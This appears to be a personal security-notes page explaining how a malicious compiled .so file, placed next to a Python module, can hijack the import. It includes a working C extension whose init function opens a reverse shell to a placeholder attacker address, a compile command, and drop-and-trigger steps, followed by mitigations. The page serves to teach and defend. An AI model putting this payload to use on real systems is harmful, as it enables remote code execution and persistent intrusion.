đź§ Python - C-Extension Precedence Hijacking
What is it?
- Concept: An exploitation technique that leverages CPython’s module resolution order. When Python imports a module, it prioritizes compiled C extensions (
.soon Linux) over standard Python source files (.py) if both exist in the same directory. By dropping a malicious.sofile adjacent to a legitimate.pyfile, an attacker can hijack the import process without needing to overwrite the original file. - Impact: Remote Code Execution (RCE), Local Privilege Escalation (LPE), or Persistence.
How it works
- The Target: Identify a Python module being imported by the target application (e.g.,
import utils.helpers). - The Payload: Write a malicious Python C extension containing the execution payload within the module initialization function (
PyInit_<modulename>). - Compilation: Compile the C code into a Shared Object (
.so) file ensuring the architecture and Python version perfectly match the target environment. - The Drop: Utilize an Arbitrary File Write (e.g., via Path Traversal) to drop the
.sofile into the same directory as the target.pymodule. Because it is a.sofile, it often bypasses simplistic file upload blacklists targeting.pyfiles. - The Trigger: Force the application to import the module. In long-running applications (like Gunicorn/Flask), this requires forcing a worker restart (e.g., via DoS/Timeout) so the interpreter initializes fresh and loads the newly dropped
.sofile instead of the legitimate.pyfile.
Exploitation
Prerequisites:
- Arbitrary File Write vulnerability (with control over the extension).
- Knowledge of a loaded Python module’s file path.
- A mechanism to force the application to restart or re-import the module.
- Ability to compile
.sopayloads matching the target OS and Python version.
Attack Vectors
1. The Malicious C-Extension: This C code creates a valid Python module that spawns a background reverse shell the moment it is initialized.
#include <Python.h>
#include <stdlib.h>
static PyModuleDef helpersmodule = {
PyModuleDef_HEAD_INIT,
"helpers", /* MUST match the name of the hijacked module */
NULL,
-1,
NULL, NULL, NULL, NULL, NULL
};
// The initialization function triggered upon import
PyMODINIT_FUNC PyInit_helpers(void) {
// Spawn the interactive pty shell in the background to prevent hanging the worker
system("python3 -c \"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<YOUR_IP>',<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')\" &");
return PyModule_Create(&helpersmodule);
}2. Cross-Compilation via Docker:
To avoid glibc or Python version mismatches, compile the payload using a Docker container that mirrors the target.
docker run --rm -v $(pwd):/app -w /app python:3.12 gcc -shared -o helpers.so -fPIC -I/usr/local/include/python3.12 helpers.c3. The Drop & Trigger:
Upload the .so file via Path Traversal to sit alongside the target .py file, then trigger a server timeout/restart to force the fresh import.
Mitigation
-
Read-Only Filesystems: Run containerized applications with a read-only root filesystem (
read_only: truein Docker), preventing attackers from dropping.sofiles onto the disk even if a path traversal vulnerability exists. -
Whitelist Uploads: Never use blacklists (e.g.,
if ext in ['.py', '.pyc']) for file upload validation. Only allow explicitly whitelisted extensions (e.g.,.png,.jpg). -
Sanitize Filenames: Always use framework-provided sanitization (e.g., Werkzeug’s
secure_filename()) to prevent directory traversal (../) during file writes.
Related Usage
TABLE creation_date AS "Created"
FROM "05 - Content"
WHERE contains(techniques, this.file.link) AND contains(tags, "đźš©")
SORT file.name ASC